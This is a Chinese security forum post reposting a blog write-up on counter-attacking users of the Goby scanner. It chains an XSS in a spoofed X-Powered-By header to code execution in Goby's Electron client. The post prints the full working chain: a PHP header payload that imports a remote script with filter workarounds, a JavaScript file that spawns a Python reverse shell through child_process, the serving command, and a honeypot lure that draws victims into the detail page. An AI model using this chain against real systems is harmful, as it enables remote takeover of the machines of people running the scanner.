安全矩阵

 找回密码
 立即注册
搜索
查看: 2495|回复: 0

闲来无事,反制GOBY

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-15 12:19:36 | 显示全部楼层 |阅读模式
闲来无事,反制GOBY原创 漂亮鼠 [url=]赛博回忆录[/url] 前天
收录于话题
#赛博回忆录7
#代码审计6
#信息安全7
闲来无事,反制GOBY0x00 前言最近事情比较多一直没有沉下心来做个啥玩意出来,写文章,太浅了不好意思发,太深了涉及利益又不能发,思来想去,搞点反制玩玩吧。老早就想搞搞反制,之前想搞awvs,但是看了几秒钟发现太难了就没继续了,下午想试试goby吧。
0x01 大致看看大家都知道我没有windows,所以我的goby也是mac版本,特意更新到最新版本如下图:

接下来先踩踩点,打开/Applications/Goby.app,众所周知app就是一个文件夹,所以我们在终端进入到文件夹


因为是electron开发的,所以这里有个app.asar,这个玩意可以直接解出js代码 asar e app.asar builddist 解出来的js代码就在builddist目录里了。我们进入到这个目录随便看看


随便搜一搜,比如搜exec


搜搜execSync


这个scan.js

可以看到做了一些简单的混淆 不过无所谓,我懒得看,关掉它 看看那个render.js


可以看到是一个有90000行的js文件,里面主要的渲染页面啥的都在这里,我看不懂,但我很震撼。
接下来怎么办?
无所谓,关掉它。

0x02 跟着感觉走吧上面大概搜了搜,感觉告诉我可以放一放,直接命令注入是不好弄的,那么走xss这条路行不行?答案是可以的。我们随便搭建一个http让goby扫一下看看整体交互展示:




可以看到这扫描首页几乎所有的信息都是固定的,要么不可控,要么就是字典写死的,想要在这里直接xss有点难度,那么详情页面如何?我们点击上图的红圈,跳到单ip详情页面。

可以看到上图我圈中的地方,他展示了一个php的版本信息,php这个vendor是写死的,那么后面的版本号呢?我们做做实验


我们把返回的header改一改,版本号的地方插入一个h1标签,重复上面的扫描再看看。启动php的httpserver,扫描完毕后进入详情页面:



这里可以看到,字体变大了,这直接说明了可以插入一些标签,运气好的话直接XSS,我试过script标签似乎无效,所以我改成了img标签。


这里我插入了<img src="x">


真奇怪没生效,我点击这个方框,跳到下面这个页面


这里透露了一些信息,似乎是被截断了,感觉告诉我是空格,于是我把空格替换成了tab,再试一下



成了,XSS了。
可是这里有个问题,就是一个jb小子必须点到详情里才能触发XSS,那么我们怎么让他大概率点进来呢?很简单,我们把我们的服务器做成蜜罐,做成靶机,让他一扫描我们的服务器就能看到一大堆漏洞,端口开放的最多,漏洞最多,我们的ip就会排在首页的第一,是个人都会点进来,甚至都不会等到扫描完毕!然后我这里也把服务器特地加载80端口进行返回,因为80端口很常规也很小,详情排序里也是排第一,所以点进去就会xss避免其他意外。

0x03 XSS到RCE

既然有了XSS又同时是electron那么我们很容易想到以前的蚁剑XSS到RCE,可以看看这个(https://www.uedbox.com/post/54188/) 很显然的使用:

  1. require('child_process').exec('xxxxxxx');

复制代码
应该就可以直接rce了。但实际上并不行,经过了N次的测试,归纳一下主要是有什么问题:
  • 过滤了空格,标签里可以用tab来规避但是js代码里并不太行
  • 大写字母全部转换成小写,因此任何方法有大写字母的一律不行
  • 冒号也会截断
  • '-'也不行 大写字母和空格的问题直接导致了常规的空格替代方案都不太行,比如:


  1. ${IFS} //不行,IFS必须大写,小写不生效
  2. {'ls','-a'} //这个形式看起来应该可以,但是不知道为什么不成功

复制代码
​当然在exec里我尝试了很多,不止上面这些,有些不太记得了就不说了。这里我陷入了一个误区,命令注入逃逸习惯了后一直纠结如何在exec里逃逸,却忘了我能插入js代码,因此下面这个形式一开始我以为应该就可以了

然而试了不行,仔细一看,草,execFile,又一个大写。
最后想起来可以引入远程js的形式来操作。
那么最后就变成了这样:


           
  •         goby扫描我

           
  •         php的服务返回一个header插入xss引用远程js文件

           
  •         远程js文件里插入完整的执行代码

           
  •         jb小子点击详情触发xss,最后rce

思路整理完了,然后就是构造了 php的index.php文件内容如下


  1. <?php
  2. header("X-Powered-By: PHP/<img  src="x"       onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
  3. ?>

复制代码
这里用%3A的转换来代替冒号,是Camaro师傅教我的(原谅我太垃圾),准备好完整的test2.js文件如下:

  1. (function(){
  2. require('child_process').exec('open /System/Applications/Calculator.app');
  3. require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
  4. })();

复制代码
这里弹了一个计算器又弹了一个py反弹shell到本地的9999端口,最后在9999端口用nc监听即可,这里还有个小坑点就是js文件在goby客户端的chrome里如果同名只会第一次去请求后面就缓存起来了,在测试的时候如果反复改js文件却发现没有效果,没想到缓存的话可能会自闭。现在我们启动php服务

  1. sudo php -S 127.0.0.1:80 -F index.php

复制代码
​ 打开goby开始扫描->IP详情->XSS->RCE 完成了。


0x04 反思和总结其实我从打开goby到XSS大概就花了半小时,主要时间花费在规避一些过滤和小细节问题上。群友也帮了我很多,学到了很多shell下规避空格等限制的技巧,还是蛮牛逼的就不在这里写了。其次我想说的是,很多人找漏洞,思路可能不清晰,就比如我开头写的从js文件里看,如果换成普通人可能就拼命审计,又臭又长,花费了很长时间看可能也挖不到一个洞。那么为什么我当机立断转到黑盒呢?原因很简单,我们能想象到的反制RCE,无非就两个,一个是命令注入,一个就是XSS到RCE。我打开js代码随便搜了一下exec,第一时间感觉没多少地方可以碰到,就立马放弃。思路直接转到XSS上,那么在哪里找XSS呢?很简单,打开页面跟着交互走,哪里出现我可能可以控制的内容就去测试哪里。所以很快的我就找到了XSS的点,接下来就是RCE的事情了。我相信大家看完后仔细挖掘一下,还有很多可能性,我这个是1click,就直接放出来了,大家照着这个思路去挖掘,很快r1就要加班啦~ (我已经想到更多的点了)

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:37 , Processed in 0.013053 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表